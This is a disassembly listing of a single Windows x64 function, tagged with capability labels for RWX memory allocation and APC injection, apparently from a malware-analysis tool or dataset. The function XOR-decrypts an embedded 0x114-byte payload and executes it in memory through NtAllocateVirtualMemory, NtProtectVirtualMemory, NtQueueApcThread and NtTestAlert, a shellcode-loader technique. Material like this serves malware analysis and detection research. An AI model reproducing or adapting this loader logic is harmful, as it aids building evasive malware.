Function at 0x140001f12
Capabilities:
Allocate or change rwx memory
Inject apc

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x188
lea rsi, [rsp + 0x30]
mov qword [rsi], 1
xorps xmm0, xmm0
movups xmmword [rsi + 8], xmm0
xor edi, edi
lea rbx, [0x14000e1a1]
cmp rdi, 0x368
je 0x140001f5a
mov dl, byte [rdi + rbx]
mov rcx, rsi
call fcn.140001c03
inc rdi
jmp 0x140001f41
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov qword [rsp + 0x58], rdx
call fcn.14000370a
cmp qword [rsi], 0
jne 0x1400023ae
lea rbx, [rsp + 0x80]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea r14, [rsp + 0x68]
mov qword [r14], 1
xorps xmm0, xmm0
movups xmmword [r14 + 8], xmm0
mov qword [rsp + 0x20], 2
lea r9, [0x14000e594]
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.140001a89
lea r15, str.:a8:9d:e0:e6:54:7a__2f:83:30:28:e5:e4__1c:8d:bd:ec:a2:b7__fe:dc:e0:bc:c0:df__3f:cd:00:34:42:cf__ee:c6:d3:0b:44:f2__d6:3d:21:04:4e:a4__de:8b:ea:ca:87:c3__37:d4:b7:df:eb:98__fd:c4:cd:d6:69:e7__4b:df:fe:81:8c:82__fb:d8:b3:e9:97:64__d0:16:00:f8:f2:7c__de:74:9c:e4:c1:dd__b5:00:27:fa:d9:3d__ea:96:6b:46:93:15__71:6a:be:9e:b1:65__68:38:46:da:bb:3f__3c:e6:56:eb:26:8c__93:7a:9b:be:a7:04__e5:2e:91:ce:84:96__f1:8a:89:a2:2e:ab__e5:7e:8b:b2:cd:f6__72:d1:a7:8b:b7:d3__dc:16:47:24:24:7a__f0:a5:8e:24:5a:c3__3e:8e:cd:a6:7a:c4__84:70:ca:e0:98:e1__52:29:83:d6:7c:48__9a:b3:a8:51:b2:9f__42:02:c7:4f:92:0a__a9:9b:8f:32:d7:99__ca:9f:b4:59:d7:9b__cc:7b:a4:75:c1:a0__3b:ec:da:47:4e:13__a7:64:3e:f9:c3:9f__14:af:f2:a4:14:88__4b:61:13:0b:07:0a__0b:13:d0:53:aa:09__00:1f:e8:85:e3:20__2c:c6:f3:34:b8:60__35:52:aa:60:ff:63__56:a7:25:29:b4:85__c4:4f:7a:69:75:91__62:c7:0a:23:ab:56__ed:6e:39:6e:24:2bNulError
mov rcx, rsi
call fcn.140001c38
test rax, rax
je 0x1400020ac
mov r8, rdx
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, rax
mov r9, r15
call fcn.140001a89
mov rcx, rbx
call fcn.140001c38
test rax, rax
je 0x140001fce
mov r13, rdx
test rdx, rdx
je 0x1400023ae
mov r12, rax
movzx eax, byte [rax]
cmp eax, 0x2d
je 0x140002030
cmp eax, 0x2b
jne 0x14000203a
dec r13
je 0x1400023ae
inc r12
jmp 0x14000203a
cmp r13, 1
je 0x1400023ae
xor edi, edi
xor ebp, ebp
cmp r13, 3
jae 0x140002069
cmp r13, rdi
je 0x14000209d
movzx ecx, byte [r12 + rdi]
call fcn.140003ac2
test eax, eax
je 0x1400023ae
shl bpl, 4
add dl, bpl
inc rdi
mov ebp, edx
jmp 0x140002044
cmp r13, rdi
je 0x14000209d
movzx ecx, byte [r12 + rdi]
call fcn.140003ac2
test eax, eax
je 0x1400023ae
cmp bpl, 0xf
ja 0x1400023ae
shl bpl, 4
inc rdi
add dl, bpl
mov ebp, edx
jae 0x140002069
jmp 0x1400023ae
mov rcx, r14
mov edx, ebp
call fcn.140001c03
jmp 0x140001ff9
movups xmm0, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x58]
call fcn.1400027bc
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov al, byte [0x140012030]
mov ebx, 0x114
mov ecx, 0x114
mov edx, 1
call fcn.1400023e0
test rax, rax
je 0x1400023ae
mov rdi, rax
movaps xmm0, xmmword [section..rdata]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x14000e010]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x14000e020]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x14000e030]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x14000e040]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x14000e050]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [0x14000e060]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [0x14000e070]
movups xmmword [rax + 0x70], xmm0
movaps xmm0, xmmword [0x14000e080]
movups xmmword [rax + 0x80], xmm0
movaps xmm0, xmmword [str.WVcm_]
movups xmmword [rax + 0x90], xmm0
movaps xmm0, xmmword [0x14000e0a0]
movups xmmword [rax + 0xa0], xmm0
movaps xmm0, xmmword [0x14000e0b0]
movups xmmword [rax + 0xb0], xmm0
movaps xmm0, xmmword [0x14000e0c0]
movups xmmword [rax + 0xc0], xmm0
movaps xmm0, xmmword [0x14000e0d0]
movups xmmword [rax + 0xd0], xmm0
movaps xmm0, xmmword [0x14000e0e0]
movups xmmword [rax + 0xe0], xmm0
movaps xmm0, xmmword [0x14000e0f0]
movups xmmword [rax + 0xf0], xmm0
movaps xmm0, xmmword [0x14000e100]
movups xmmword [rax + 0x100], xmm0
mov dword [rax + 0x110], 0x2b41165c
mov r14, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
cmp rax, rbx
cmovb rbx, rax
mov rcx, rbx
call fcn.1400027d0
lea r15, [rsp + 0x80]
mov qword [r15], rax
mov qword [r15 + 8], rdx
and qword [r15 + 0x10], 0
mov rcx, r15
mov rdx, rbx
call fcn.1400024a4
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
xor edx, edx
cmp rbx, rdx
je 0x14000224e
mov r8b, byte [rdi + rdx]
xor r8b, byte [r14 + rdx]
inc rdx
mov byte [rcx + rax], r8b
inc rax
jmp 0x140002235
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x38]
mov rcx, r14
call fcn.1400027bc
mov r12, qword [rsp + 0x110]
mov qword [rsp + 0x40], r12
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x30], xmm0
mov rbx, qword [rsp + 0x30]
mov rcx, r12
call fcn.1400027d0
mov r14, rax
mov r15, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r12
call sub.msvcrt.dll_memcpy
lea rdx, [rsp + 0x50]
and qword [rdx], 0
lea r9, [rsp + 0x68]
mov qword [r9], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
test eax, eax
js 0x1400023b2
and qword [rsp + 0x100], 0
mov qword [rsp + 0x80], r12
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rsi
mov rcx, 0xffffffffffffffff
mov r8, r14
mov r9, r12
call sub.ntdll.dll_NtWriteVirtualMemory
test eax, eax
js 0x1400023b2
lea rax, [rsp + 0x64]
mov dword [rax], 4
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
mov r9d, 0x40
call sub.ntdll.dll_NtProtectVirtualMemory
test eax, eax
js 0x1400023b2
mov rdx, qword [rsp + 0x50]
and qword [rsp + 0x20], 0
mov rcx, 0xfffffffffffffffe
mov r8, rdx
xor r9d, r9d
call sub.ntdll.dll_NtQueueApcThread
test eax, eax
js 0x1400023b2
call sub.ntdll.dll_NtTestAlert
mov rcx, r14
mov rdx, r15
call fcn.1400027bc
mov edx, 0x114
mov rcx, rdi
call fcn.1400027bc
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
call fcn.1400027bc
nop
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
call fcn.140005353
ud2